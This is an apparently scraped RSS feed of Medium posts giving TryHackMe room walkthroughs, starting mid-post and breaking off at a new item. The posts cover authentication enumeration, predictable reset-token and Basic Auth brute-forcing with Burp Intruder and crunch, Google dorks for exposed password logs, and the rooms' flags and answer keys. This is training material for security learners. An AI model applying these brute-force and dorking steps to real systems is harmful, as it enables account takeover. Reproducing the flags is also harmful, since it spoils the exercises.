an unusually long time, and when an old session is reused after logout, the application responds with a server error instead of cleanly rejecting the request.</p><p>Writing the behavior in this way makes it much easier to understand the application’s session flow and spot weaknesses before attempting exploitation.</p><h4>What Vulnerabilities Were Identified?</h4><p>Based on our observations, we can immediately report several security concerns:</p><ul><li>Excessive session lifetime</li><li>Poor handling of invalid sessions</li><li>Inconsistent authorization checks</li><li>Client-side values influencing the user interface</li></ul><p>We would also recommend performing additional testing for:</p><ul><li>IDOR vulnerabilities</li><li>Missing authorization checks</li><li>API endpoint security</li><li>Session logging and accountability</li></ul><h4>Questions &amp; Answers</h4><h4>Question 1</h4><blockquote><strong>What is the username of the student with the name X?</strong></blockquote><h4><strong>Answer:</strong> THM{Got.the.User}</h4><h4>Explanation</h4><p>By manipulating the application’s client-side data and exploring accessible resources, the hidden username can be identified.</p><h4>Question 2</h4><blockquote><strong>How many lecturers are registered on the application?</strong></blockquote><h4><strong>Answer:</strong> 1</h4><h4>Explanation</h4><p>After enumerating the lecturer-related information, the application reveals that only one lecturer account exists.</p><h4>Question 3</h4><blockquote><strong>Excluding the unauthenticated user, how many roles does the application have?</strong></blockquote><h4><strong>Answer:</strong> 3</h4><h4>Explanation</h4><p>The application defines three authenticated roles, each with different permissions and interface elements.</p><h4>Question 4</h4><blockquote><strong>How many test attempts in total have been performed on the application?</strong></blockquote><h4><strong>Answer:</strong> 4</h4><h4>Explanation</h4><p>By accessing the available test information, the total number of recorded attempts can be determined.</p><h4>Question 5</h4><blockquote><strong>What is the highest score that student1 has achieved on a test?</strong></blockquote><h4><strong>Answer:</strong> 3</h4><h4>Explanation</h4><p>Enumerating the student’s test history reveals that the highest recorded score is <strong>3</strong>.</p><h4>Question 6</h4><blockquote><strong>What is the sequence of correct answers for the Database Types test? (Format: y=yes, n=no)</strong></blockquote><h4><strong>Answer:</strong> y,n,n</h4><h4>Explanation</h4><p>After accessing the available test data, the correct sequence of answers for the <strong>Database Types</strong> quiz is revealed as <strong>y,n,n</strong>.</p><p>If this summary helped you save some time (or a few brain cells ), don’t forget to <strong>follow</strong> and leave a <strong>👏 Clap</strong>. It really helps and motivates me to keep making more cybersecurity notes like this ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b0aa04f2020" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enumeration & Brute Force TryHackMe Room Walkthrough]]></title>
            <link>https://medium.com/@asoubea/enumeration-brute-force-tryhackme-room-walkthrough-4c6c6e5b51b0?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c6c6e5b51b0</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Fri, 17 Jul 2026 19:20:57 GMT</pubDate>
            <atom:updated>2026-07-18T06:01:38.289Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab link</strong>:<a href="https://tryhackme.com/room/enumerationbruteforce">https://tryhackme.com/room/enumerationbruteforce</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MD9dpcLW50qZfeDkrQf2oQ.png" /></figure><h3>Hey guys! Guess what?</h3><p>TryHackMe made a banger room on <strong>Authentication Enumeration</strong>. It’s actually about acting like a digital detective, peeling back layers of an application, and finding those sneaky little clues.</p><p>Let’s dive into how we can break down authentication,Enjoy hacking!</p><h3>Task 1 &amp; 2: Authentication Enumeration (The Vibes)</h3><p>Before you can brute-force a system, you need target intel. <strong>Authentication Enumeration</strong> is literally just figuring out valid usernames or email formats so you only have to guess the password. It saves time and keeps you low-key.</p><h3>Common Places to Look for Clues:</h3><ul><li><strong>Registration Pages:</strong> If you try to sign up and it says <em>“Email already taken,”</em> boom — you just confirmed a valid user exists.</li><li><strong>Password Reset Features:</strong> Subtle differences in how a site tells you an email is invalid vs. valid can leak user lists.</li><li><strong>Verbose Errors:</strong> When the login page tells you <em>exactly</em> what you got wrong (e.g., “Wrong password” instead of “Invalid credentials”).</li><li><strong>Data Breach Info:</strong> Good old-fashioned recycled credentials from past leaks.</li></ul><h3>Password Policies</h3><p>Applications often spill the tea on their regex validation rules via error messages:</p><p>PHP:</p><pre>&lt;?php<br>$password = $_POST[&#39;pass&#39;]; <br>$pattern = &#39;/^(?=.*[A-Z])(?=.*\d)(?=.*[\W_]).+$/&#39;;<br><br>if (preg_match($pattern, $password)) {<br>    echo &quot;Password is valid.&quot;;<br>} else {<br>    echo &quot;Password is invalid. It must contain at least one uppercase letter, one number, and one symbol.&quot;;<br>}<br>?&gt;</pre><p><strong><em>Detective Note:</em></strong><em> If you see an error like this, you can instantly optimize your custom wordlist to fit this exact policy. Work smarter, not harder.</em></p><p><strong>Answer the questions below</strong></p><blockquote>What type of error messages can unintentionally provide attackers with confirmation of valid usernames?</blockquote><p><strong>Answer:</strong> Verbose errors</p><h3>Task 3: Enumerating Users via Verbose Errors</h3><h3>Verbose Errors: The Lowdown</h3><p>Developers love detailed error messages because they make debugging a breeze. But for us, <strong>verbose errors</strong> are like an accidental whisper revealing secrets the application wants to keep low-key.</p><p>When a login form tells you <em>exactly</em> what you got wrong (e.g., &quot;Email does not exist&quot; vs. &quot;Invalid password&quot;), it completely ruins the application&#39;s privacy. Attackers love this because it lets them harvest valid usernames/emails without even guessing the password yet.</p><h3>How to Force Verbose Errors (The Tricks):</h3><ul><li><strong>Invalid Login Attempts:</strong> Just typing random stuff to see how the error messages change.</li><li><strong>SQL Injection (SQLi):</strong> Throwing a single quote &#39; into fields to confuse the backend database.</li><li><strong>File Inclusion / Path Traversal:</strong> Using ../../ to force path disclosure errors.</li><li><strong>Form Manipulation:</strong> Tampering with hidden fields to trigger strict server-side validation errors.</li><li><strong>Application Fuzzing:</strong> Using automated tools like <strong>Burp Intruder</strong> to blast the application with payloads and watch how it reacts.</li></ul><h3>Step-by-Step Lab Walkthrough</h3><p>Here is exactly how we automate user harvesting to solve Task 3:</p><p><strong>1.Save the Automation Script:</strong>Requires Python3.</p><p>Create a file named script.py on your AttackBox and paste the provided Python automation code into it. This script handles parsing a wordlist and sending automated POST requests to the login endpoint.</p><p><strong>2.Download the Target Wordlist:</strong>Username Dictionary.</p><p>Grab the required email/username dictionary file (usernames_gmail.com.txt) from the lab repository so you have a list of potential targets to test.</p><p><strong>3.Execute the Attack:</strong>Run via Terminal.</p><p>Open your terminal on the AttackBox and run the script while passing the wordlist as an argument:</p><p>Bash</p><pre>python3 script.py usernames_gmail.com.txt</pre><p><strong>4.Analyze the Output:</strong>Spot the Valid User.</p><p>The script will filter out the noise. Watch the terminal logs until you see a [VALID] tag instead of [INVALID].</p><h3>Terminal Output Preview:</h3><p>Bash</p><pre>user@tryhackme $ python3 script.py usernames_gmail.com.txt<br>[INVALID] xxxxxx@gmail.com<br>[INVALID] xxxxxx@gmail.com<br>...<br>[VALID] canderson@gmail.com</pre><blockquote><strong><em>Flag / Answer Found:</em></strong></blockquote><ul><li><strong>Question:</strong> What is the valid email address from the list?</li><li><strong>Answer:</strong> canderson@gmail.com</li></ul><h3>Task 4: Exploiting Vulnerable Password Reset Logic</h3><p>Password resets are highly critical. If the logic is goofy, it’s game over.</p><h3>The Vulnerability Types:</h3><ul><li><strong>Predictable Tokens:</strong> Weak, short, or sequential OTPs/links.</li><li><strong>Token Expiration Issues:</strong> Tokens that last forever.</li><li><strong>Insufficient Validation:</strong> Basic security questions that can be OSINTed.</li><li><strong>Information Disclosure:</strong> Confirming if an email exists on the reset page.</li><li><strong>Insecure Transport:</strong> Sending tokens over plain HTTP.</li></ul><h3>Walkthrough: Brute-Forcing Predictable Tokens</h3><p>The target web app generates a terrible 3-digit numeric token using this backend logic:</p><p>PHP</p><pre>$token = mt_rand(100, 200);<br>$query = $conn-&gt;prepare(&quot;UPDATE users SET reset_token = ? WHERE email = ?&quot;);</pre><h4>Step-by-Step Exploitation:</h4><ul><li>Go to [http://enum.thm/labs/predictable_tokens/](http://enum.thm/labs/predictable_tokens/), input admin@admin.com, and request a reset.</li><li>The app uses the format: [http://enum.thm/labs/predictable_tokens/reset_password.php?token=123](http://enum.thm/labs/predictable_tokens/reset_password.php?token=123)</li><li>Intercept the request in Burp Suite and send it to <strong>Intruder</strong>. Highlighting the token value as your payload position.</li><li>Generate a fast wordlist of numbers from 100 to 200 using <strong>Crunch</strong>:</li></ul><p>Bash</p><pre>user@tryhackme $ crunch 3 3 -o otp.txt -t %%% -s 100 -e 200</pre><ul><li>Load otp.txt into Burp Intruder, run the attack, and look for the response with a <strong>larger Content-Length</strong> (signaling a valid token bypass).</li><li>Log in using the newly reset password to claim the flag.</li></ul><h3>Lab Answers</h3><blockquote><strong>Question:</strong> What is the flag?</blockquote><h4><em>Answer:</em> THM{50_pr3d1ct4BL333!!}</h4><h3>Task 5: Exploiting HTTP Basic Authentication</h3><p>HTTP Basic Auth is that old-school pop-up box you see on routers. It requires zero session state management but sends credentials over the wire in an easily reversible <strong>Base64-encoded</strong> string inside the Authorization header:</p><p>$$\text{Authorization: Basic } \langle \text{base64(username:password)} \rangle$$</p><h3>Walkthrough: Intruder Payload Processing</h3><ul><li>Navigate to [http://enum.thm/labs/basic_auth/](http://enum.thm/labs/basic_auth/), type random creds, and capture the request in Burp.</li><li>Send it to <strong>Intruder</strong> and clear all positions except the encoded string in the Authorization header.</li><li>Set the payload type to <strong>Simple list</strong> and use a dictionary like /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt.</li><li>Set up <strong>Payload Processing</strong> rules so Burp formats the payload correctly before encoding:</li><li><em>Rule 1:</em> <strong>Add prefix</strong> -&gt; admin: (This builds the username:password string format).</li><li><em>Rule 2:</em> <strong>Base64-encode</strong>.</li><li>Launch the attack. Look for a <strong>Status Code 200</strong>. Decode that successful Base64 string to find the valid credentials and grab the flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E-fVlSqnI1J4lixUDltA2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BtkxXhFcMorTQ4f8AdscBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*DRm2njenI4GurhUqEiB2Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*Xq9CGj-zCRjTnLz35n58cg.png" /></figure><h3>Lab Answers</h3><blockquote><strong>Question:</strong> What is the flag?</blockquote><h4><em>Answer:</em> THM{b4$$1C_AuTTHHH}</h4><blockquote><strong>Question:</strong> Try using Hydra instead of Burp to brute force the password.</blockquote><h4><em>Answer:</em> No answer needed</h4><p>but if u want to use hydra instead of burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTXeqtQjpG9wwOmX_C78xg.png" /></figure><h3>Task 6 &amp; 7: OSINT &amp; Conclusion</h3><p>Don’t forget that an app’s history can expose its present. You can easily find historical or hidden entry points using these methods:</p><h3>1. Wayback URLs</h3><p>The Wayback Machine acts like a time machine for code. You can pull archived URLs that might reveal abandoned admin panels or endpoints.</p><p>Bash</p><pre>user@tryhackme $ git clone https://github.com/tomnomnom/waybackurls<br>user@tryhackme $ cd waybackurls &amp;&amp; go build<br>user@tryhackme $ ./waybackurls tryhackme.com</pre><h3>2. Google Dorks</h3><p>Using specific search queries to find sensitive, indexed endpoints that shouldn’t be public:</p><ul><li>site:example.com inurl:admin (Finds admin panels)</li><li>filetype:log &quot;password&quot; site:example.com (Leaks log files)</li><li>intitle:&quot;index of&quot; &quot;backup&quot; site:example.com (Finds exposed backup directories)</li></ul><h3>Lab Answers</h3><blockquote><strong>Task 6 Question:</strong> Click me to proceed to the next task.</blockquote><h4><em>Answer:</em> No answer needed</h4><blockquote><strong>Task 7 Question:</strong> I can now attack authentication forms!</blockquote><h4><em>Answer:</em> No answer needed</h4><h3>Key Takeaways</h3><ul><li><strong>Enumeration</strong> is the real MVP — it keeps brute-forcing targeted and efficient.</li><li><strong>Verbose errors</strong> and <strong>predictable tokens</strong> are immediate wins for an attacker.</li><li><strong>Basic Auth</strong> can be cracked easily if you master Burp’s payload processing rules.</li></ul><p>If this summary helped you save some time (or a few brain cells ), don’t forget to <strong>follow</strong> and leave a <strong>👏 Clap</strong>. It really helps and motivates me to keep making more cybersecurity notes like this ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c6c6e5b51b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Penetration Testing Frameworks (TryHackMe Room)]]></title>
            <link>https://medium.com/@asoubea/penetration-testing-frameworks-tryhackme-room-528b3ccef36f?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/528b3ccef36f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Fri, 29 May 2026 03:43:05 GMT</pubDate>
            <atom:updated>2026-05-29T03:43:05.997Z</atom:updated>
            <content:encoded><![CDATA[<p>Lab link:https://tryhackme.com/room/penetrationtestingframeworks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FGZSUuaGxjxNPLxt1xWSoQ.png" /></figure><h3>Task 1 — Introduction</h3><p>Before jumping into tools or exploitation, penetration testing needs structure. Without a methodology, testing becomes random and incomplete.</p><p>Penetration testing frameworks solve this by providing a structured lifecycle for engagements.</p><p>They ensure:</p><ul><li>Proper scoping</li><li>Full coverage of attack surface</li><li>Consistent reporting</li><li>Legal safety</li></ul><h3>#1 Question</h3><p>A penetration tester runs several tools but skips network mapping and does not document scope. What benefit of using a framework would have prevented this?</p><blockquote><strong>Answer: Thoroughness</strong></blockquote><h3>#2 Question</h3><p>A healthcare client needs compliance with HIPAA. Which benefit is most important?</p><blockquote><strong>Answer: Compliance</strong></blockquote><h3>Task 2 — OSSTMM</h3><p>OSSTMM is a scientific penetration testing methodology focused on <strong>measurable and repeatable security testing</strong>.</p><p>It divides security into 5 channels:</p><ul><li>Human</li><li>Physical</li><li>Wireless</li><li>Telecommunications</li><li>Data Networks</li></ul><p>Instead of opinions, it uses metrics like <strong>RAV (Risk Assessment Values)</strong>.</p><h3>#3 Question</h3><p>What metric measures attack surface vs controls?</p><blockquote><strong>Answer: Risk Assessment Values</strong></blockquote><h3>#4 Question</h3><p>After completing Induction and Interaction, what phase comes next?</p><blockquote><strong>Answer: Inquiry</strong></blockquote><h3>Task 3 — OWASP WSTG</h3><p>WSTG is the <strong>most important web application testing framework</strong>, containing 90+ test cases.</p><p>It is divided into categories like:</p><ul><li>Authentication</li><li>Input validation</li><li>Session management</li><li>Business logic</li></ul><p>It follows SDLC-based testing phases.</p><h3>#5 Question</h3><p>What identifier is used for input validation tests?</p><blockquote><strong>Answer: WSTG-INPV</strong></blockquote><h3>#6 Question</h3><p>A team just finished coding and wants to test using WSTG. Which SDLC phase?</p><blockquote><strong>Answer: 3</strong></blockquote><h3>Task 4 — NIST SP 800–115</h3><p>NIST provides a <strong>structured federal-grade security testing guide</strong>.</p><p>It includes:</p><ul><li>Planning</li><li>Execution</li><li>Post-testing</li></ul><p>Execution includes:</p><ul><li>Review</li><li>Scanning</li><li>Vulnerability validation</li><li>Penetration testing</li></ul><h3>#7 Question</h3><p>What should you do after a scanner finds vulnerabilities?</p><blockquote><strong>Answer: Target vulnerability validation</strong></blockquote><h3>Task 5 — PTES</h3><p>PTES describes a <strong>real-world penetration testing workflow</strong>.</p><p>7 phases:</p><ol><li>Pre-engagement</li><li>Intelligence gathering</li><li>Threat modeling</li><li>Vulnerability analysis</li><li>Exploitation</li><li>Post-exploitation</li><li>Reporting</li></ol><h3>#8 Question</h3><p>Which phase defines scope and rules of engagement?</p><blockquote><strong>Answer: 1</strong></blockquote><h3>Task 6 — ISSAF</h3><p>ISSAF is an older but very structured methodology with a <strong>9-step attack progression model</strong>.</p><p>It simulates attacker behavior from recon to cleanup.</p><h3>#9 Question</h3><p>What is the final step in ISSAF?</p><blockquote><strong>Answer: Covering tracks</strong></blockquote><h3>Task 7 — MITRE ATT&amp;CK</h3><p>MITRE ATT&amp;CK is NOT a pentesting framework — it is a <strong>knowledge base of attacker behavior</strong>.</p><p>Structure:</p><ul><li>Columns = tactics (why)</li><li>Rows = techniques (how)</li></ul><p>It helps map real-world attacks to standardized IDs.</p><h3>#10 Question</h3><p>In ATT&amp;CK, what do columns represent?</p><blockquote><strong>Answer: tactics</strong></blockquote><h3>#11 Question</h3><p>What do rows represent?</p><blockquote><strong>Answer: techniques</strong></blockquote><h3>#12 Question</h3><p>Public-facing exploit vulnerability technique ID?</p><blockquote><strong>Answer: T1190</strong></blockquote><h3>Task 8 — Other Frameworks</h3><p>This task introduces specialized frameworks:</p><ul><li>PCI DSS → Payment systems</li><li>OWASP MASTG → Mobile apps</li><li>CSA CCM → Cloud security</li><li>CBEST → UK financial sector</li><li>WASC → Legacy web taxonomy</li></ul><h3>#13 Question</h3><p>Which framework governs EU e-commerce payment testing?</p><blockquote><strong>Answer: PCI DSS Penetration Testing Guidelines</strong></blockquote><h3>#14 Question</h3><p>Which framework for iOS banking app testing?</p><blockquote><strong>Answer: OWASP Mobile Application Security Testing Guide</strong></blockquote><h3>#15 Question</h3><p>Cloud controls assessment framework?</p><blockquote><strong>Answer: CSA Cloud Control Matrix</strong></blockquote><h3>Task 9 — Choosing Frameworks</h3><p>Framework selection depends on:</p><ul><li>Scope</li><li>Compliance requirements</li><li>Reporting needs</li><li>Team capability</li></ul><p>Real-world engagements often combine multiple frameworks.</p><h3>#16 Question</h3><p>Which framework for U.S. federal agency?</p><blockquote><strong>Answer: NIST SP 800–115</strong></blockquote><h3>#17 Question</h3><p>E-commerce + mobile + payment system combo?</p><blockquote><strong>Answer: WSTG,MASTG,PCI DSS</strong></blockquote><h3>Task 10 — Conclusion</h3><p>Each framework serves a different purpose:</p><ul><li>OSSTMM → measurement</li><li>WSTG → web testing</li><li>NIST → structured assessment</li><li>PTES → real engagement flow</li><li>ISSAF → attacker simulation model</li><li>MITRE ATT&amp;CK → attack mapping</li><li>Others → niche domains</li></ul><p>There is no “best framework” — only the right one for the right job.</p><h3>Final Question</h3><p>Which framework is used in the UK financial sector?</p><blockquote><strong>Answer: CBEST</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=528b3ccef36f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyber Kill Chain — TryHackMe Writeup]]></title>
            <link>https://medium.com/@asoubea/cyber-kill-chain-tryhackme-writeup-8519b8983391?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/8519b8983391</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Thu, 28 May 2026 20:10:58 GMT</pubDate>
            <atom:updated>2026-05-28T20:10:58.248Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab link:</strong><a href="https://tryhackme.com/room/cyberkillchain"><strong>https://tryhackme.com/room/cyberkillchain</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*yqAyC4QRwyAE3WoIBdzkUw.png" /></figure><h3><strong>Task 1 — Introduction</strong></h3><p><strong>#1. How many phases comprise the Cyber Kill Chain?</strong></p><p><strong>Before answering this question, we should first understand what the Cyber Kill Chain is.</strong></p><p><strong>The Cyber Kill Chain is a cybersecurity framework developed by Lockheed Martin to help organisations understand how cyber attacks happen and how defenders can stop them.</strong></p><p><strong>The framework divides an attack into seven stages:</strong></p><ol><li><strong>Reconnaissance</strong></li><li><strong>Weaponisation</strong></li><li><strong>Delivery</strong></li><li><strong>Exploitation</strong></li><li><strong>Installation</strong></li><li><strong>Command and Control (C2)</strong></li><li><strong>Actions on Objectives</strong></li></ol><blockquote>Answer: 7</blockquote><h3>Task 2 — Reconnaissance</h3><p>#2.1 What is the term for using search engines to reveal sensitive information and confidential files?</p><p>During reconnaissance, attackers gather information about the target.</p><p>One common passive reconnaissance technique uses search engines to discover exposed files, credentials, login pages, or confidential information.</p><p>This technique is known as Google Dorking.</p><blockquote>Answer: Google Dorking</blockquote><p>#2.2 What type of reconnaissance is it where the attacker checks social media pages?</p><p>Reconnaissance can be divided into:</p><ul><li>Passive reconnaissance</li><li>Active reconnaissance</li></ul><p>Checking publicly available social media pages does not directly interact with the target systems.</p><blockquote>Answer: passive reconnaissance</blockquote><h3>Task 3 — Weaponisation</h3><p>#3.1 What technique is mentioned to evade detection by making malicious code difficult to analyse?</p><p>Attackers often attempt to hide their payloads from antivirus software and analysts.</p><p>One common method modifies the appearance of malicious code while keeping its functionality unchanged.</p><blockquote>Answer: Obfuscation</blockquote><p>#3.2 What built-in feature makes creating malicious MS Office documents possible?</p><p>Attackers commonly weaponise Word or Excel documents.</p><p>These documents can execute automated instructions when opened if a specific feature is enabled.</p><blockquote>Answer: Macro</blockquote><h3>Task 4 — Delivery</h3><p>#4.1 What method involves showing advertisements on legitimate websites to redirect users to malicious pages?</p><p>Attackers may abuse legitimate advertising networks to spread malware.</p><p>Victims click on fake advertisements and get redirected to malicious websites.</p><blockquote>Answer: Malvertising</blockquote><p>#4.2 What phishing attack sends text messages with malicious links or malware instructions?</p><p>Phishing attacks are not limited to emails.</p><p>Attackers may also use SMS messages containing malicious links or instructions.</p><blockquote>Answer: Smishing</blockquote><h3>Task 5 — Exploitation</h3><p>#5.1 What type of exploit is used before the vendor becomes aware of the vulnerability?</p><p>Some vulnerabilities are exploited before the software vendor discovers or patches them.</p><p>These attacks are considered extremely dangerous because no official fix exists yet.</p><blockquote>Answer: Zero-day exploit</blockquote><p>#5.2 What technology prevents attackers from gaining access even with valid login credentials?</p><p>Modern authentication systems often require an additional verification step besides passwords.</p><p>This significantly reduces the effectiveness of stolen credentials.</p><blockquote>Answer: MFA</blockquote><h3>Task 6 — Installation</h3><p>#6.1 What tactic allows attackers to execute operating system commands through a web browser?</p><p>After exploitation, attackers often deploy tools to maintain access.</p><p>One common method is uploading a lightweight script that allows command execution remotely through the browser.</p><blockquote>Answer: web shell</blockquote><p>#6.2 What technique prevents unauthorised software from running by only allowing approved applications?</p><p>Defenders may restrict systems to run only trusted software.</p><p>This security approach blocks unknown or malicious applications from executing.</p><blockquote>Answer: allowlisting</blockquote><h3>Task 7 — Command and Control (C2)</h3><p>#7.1 What is the name of the tactic where data is hidden inside DNS queries?</p><p>Attackers sometimes abuse DNS traffic to bypass security controls and communicate with compromised systems.</p><p>Data is encoded inside DNS requests to avoid detection.</p><blockquote>Answer: DNS tunnelling</blockquote><p>#7.2 What protocol can attackers use to hide malicious traffic as encrypted web traffic?</p><p>Encrypted traffic makes monitoring and inspection more difficult.</p><p>Attackers frequently abuse secure web protocols to blend in with normal traffic.</p><blockquote>Answer: HTTPS</blockquote><h3>Task 8 — Actions on Objectives</h3><p>#8.1 What is the term for stealing sensitive files from a target network?</p><p>Once attackers achieve their objective, they may attempt to steal confidential information from the victim environment.</p><p>This process is commonly known as data theft.</p><blockquote>Answer: Data Exfiltration</blockquote><p>#8.2 What principle limits access to sensitive systems and data to reduce damage?</p><p>Security models should ensure users only receive the minimum permissions necessary.</p><p>This helps reduce the impact of compromised accounts.</p><blockquote>Answer: principle of least privilege</blockquote><p>#8.3 What attack encrypts files and demands payment for decryption?</p><p>Some attackers lock victim files and request money in exchange for restoring access.</p><p>This is one of the most common financially motivated cyber attacks.</p><blockquote>Answer: Ransomware</blockquote><h3>Task 9 — Conclusion</h3><p>#9.1 What is the flag after completing the static site?</p><p>After completing the final activity, we receive the room flag.</p><blockquote>Answer: THM{CKC_NJHERDX327}</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8519b8983391" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dive Into Pentesting— TryHackMe Writeup]]></title>
            <link>https://medium.com/@asoubea/dive-into-pentesting-tryhackme-writeup-bf7d40f41626?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf7d40f41626</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[jr-penetration-tester]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Wed, 27 May 2026 20:58:20 GMT</pubDate>
            <atom:updated>2026-05-28T20:13:47.994Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab link</strong>:<a href="https://tryhackme.com/room/diveintopentesting">https://tryhackme.com/room/diveintopentesting</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*9P-mus70EJfd6LZzi9eOKA.png" /></figure><h3>Task 1 — Introduction</h3><p>#1. Introduction</p><p>In this task, we are introduced to the concept of penetration testing and the purpose of the room.</p><p>Penetration testing is a structured security assessment used to identify vulnerabilities in systems before attackers can exploit them.</p><p>The main goal of this room is to understand the fundamentals of pentesting, including methodology, ethics, risk, and mindset.</p><p><strong>Answer</strong>: No answer is needed.</p><h3>Task 2 — Penetration Testing vs Malicious Hacking</h3><p>#2.1 What is the common shortened term for penetration testing?</p><p>Before answering, we should understand that penetration testing is often abbreviated in cybersecurity communities.</p><p>Penetration testing is commonly shortened to a simpler term used by professionals.</p><p><strong>Answer</strong>: pentesting</p><p>#2.2 Which actor aims for broad coverage and assesses multiple areas of a system?</p><p>To answer this question, we compare the roles of a penetration tester and an attacker.</p><p>A penetration tester follows a structured approach and aims to assess as many areas as possible within scope.</p><p><strong>Answer</strong>: Penetration Tester</p><p>#2.3 Which actor focuses on the quickest path to success?</p><p>Attackers behave differently from penetration testers.</p><p>Instead of broad coverage, attackers focus only on the fastest and most efficient path to achieve their goal.</p><p><strong>Answer</strong>: Attacker</p><h3>Task 3 — Penetration Testing Focus Areas</h3><p>#3.1 What type of network penetration test focuses on internet-facing infrastructure from an unauthorised user perspective?</p><p>We first understand that network penetration testing has two types: external and internal.</p><p>External testing focuses on systems exposed to the internet.</p><p><strong>Answer</strong>: External</p><p>#3.2 During testing, you discovered that session cookies remain valid after logout. Which focus area does this fall under?</p><p>We analyse session handling behavior in the application.</p><p>Session cookies that remain valid after logout indicate a flaw in session lifecycle management.</p><p><strong>Answer</strong>: Session Management</p><h3>Task 4 — Vulnerability, Threat, and Risk</h3><p>#4.1 An organisation patched a high-severity issue you reported. What stage of the risk management cycle is this?</p><p>Risk management includes multiple stages such as identification, analysis, mitigation, and monitoring.</p><p>Applying a patch directly reduces or removes the risk.</p><p><strong>Answer</strong>: Mitigation</p><p>#4.2 Would an SQL injection vulnerability present higher risk on an external or internal application?</p><p>We compare exposure levels between external and internal applications.</p><p>External-facing applications are accessible to attackers over the internet, increasing risk.</p><p><strong>Answer</strong>: External-facing application</p><h3>Task 5 — Why Vulnerabilities Exist</h3><p>#5.1 A developer implemented an “Upload Resume” feature without guardrails. What caused the vulnerability?</p><p>We analyse why the vulnerability exists in the first place.</p><p>When developers assume users will behave as expected and do not implement proper validation, security issues occur.</p><p><strong>Answer</strong>: Human Assumptions</p><h3>Task 6 — The Pentester Mindset</h3><p>#6.1 What characteristic includes attacking without understanding how a system works?</p><p>We compare good and bad penetration testing practices.</p><p>Attacking without understanding the system leads to missed context and poor results.</p><p><strong>Answer</strong>: Rushing to exploitation</p><p>#6.2 What common best practice helps in reproducing findings later?</p><p>Good penetration testers maintain structured documentation during testing.</p><p>Detailed notes allow findings to be recreated and validated easily.</p><p><strong>Answer</strong>: Maintaining good notes</p><p>#6.3 What practice helps prevent blockers from impacting test coverage?</p><p>Communication is essential during engagements.</p><p>Regular updates and proactive communication help resolve issues quickly.</p><p><strong>Answer</strong>: Proactive communication</p><h3>Task 7 — Ethics, Permission, and Trust</h3><p>#7.1 What defines boundaries during a penetration test?</p><p>Boundaries in a penetration test are formally defined before testing begins.</p><p>This ensures testers only operate within authorised areas.</p><p><strong>Answer</strong>: Scope</p><p>#7.2 What type of impact should findings clearly demonstrate?</p><p>Security findings must show real-world consequences.</p><p>Technical issues alone are not enough without explaining business impact.</p><p><strong>Answer</strong>: Business impact</p><p>#7.3 What type of data must be removed from reports?</p><p>Reports may include sensitive information gathered during testing.</p><p>This data must be removed to prevent unintended exposure.</p><p><strong>Answer</strong>: Sensitive data</p><h3>Task 8 — Practical Assessment</h3><p>In this task, we complete a practical activity focusing on professionalism and decision-making during a penetration test.</p><p>After completing the activity, we retrieve the final flag.</p><p><strong>Answer</strong>: THM{L3t$_d1v3_1nt0_Pen7es71ng!}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf7d40f41626" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guided Pentest: Web [TryHackMe]]]></title>
            <link>https://medium.com/@asoubea/guided-pentest-web-tryhackme-3a237997fd2c?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a237997fd2c</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[guided-pentestweb]]></category>
            <category><![CDATA[ctf-writeup]]></category>
